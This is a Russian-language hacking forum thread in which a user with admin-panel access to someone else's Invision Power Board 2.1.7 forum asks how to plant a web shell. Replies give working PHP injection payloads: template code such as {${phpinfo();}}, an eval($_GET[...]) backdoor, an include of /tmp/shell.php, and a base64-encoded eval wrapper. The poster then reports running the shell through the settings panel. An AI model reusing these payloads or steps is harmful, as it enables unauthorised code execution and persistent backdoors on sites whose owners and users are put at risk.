не хватает прав...

Discussion in 'Песочница' started by Doom123, 6 Jan 2008.

  1. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    Есть админка ipb 2.1.7 можно ли залить шелл если нет ни одно папки с правами на запись ...?

    Они запритили всё даже авики загружать..
     
  2. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    шаблоны правятся?
     
  3. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    могу изминять фрагменты шаблонов
     
  4. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    ну инжектни пхп код тогда, в чем проблема.
    ex: {${phpinfo();}}
     
  5. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    Пасиб щя посмотрим=)
     
  6. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    не идёт... при добавлении того же {${phpinfo();}} в шаблон он просто выводит белую страницу... на странице где этот шаблон =(
     
  7. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    хмм если прописываю eval($_GET[ww]); и добовляю в адресной строке &ww=phpinfo()

    то он мне выводит eval(phpinfo()); почему $_GET[] сработало а eval нет отключили ?
     
  8. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    Вроде получилось залить в /tmp

    форум находится тут
    /home/blalba/www/forum
    шелл залит сюда
    /tmp/shell.php

    нельзя никак на него попасть да?
     
  9. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    допиши в шаблоны
    include('/tmp/shell.php');
     
  10. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    а лучше

    {${eval(base64_decode(QGluY2x1ZGUoJy90bXAvc2hlbGwucGhwJyk7));}}
     
  11. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    всётаки в шаблонах не выполняется пхп а с {${код}} белая страница

    смог через настройки инклюдить но результат не очень шелл висит показывает всё но если я попытаюсь нажать на ссылку или на функцию меня сразу сбрасывает на главную админки =\ млин сволочи=)
     
  12. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    я добился цели залил шелл в настройка сделал добавить настройку и де выполнить пхп код инклюдил шелл ... и када обновил страницу могу им нормально пользоваца=) токо у них везде прова ограничены=\ я ваше ничё не могу делать .. стоко времени убил зря.. эххь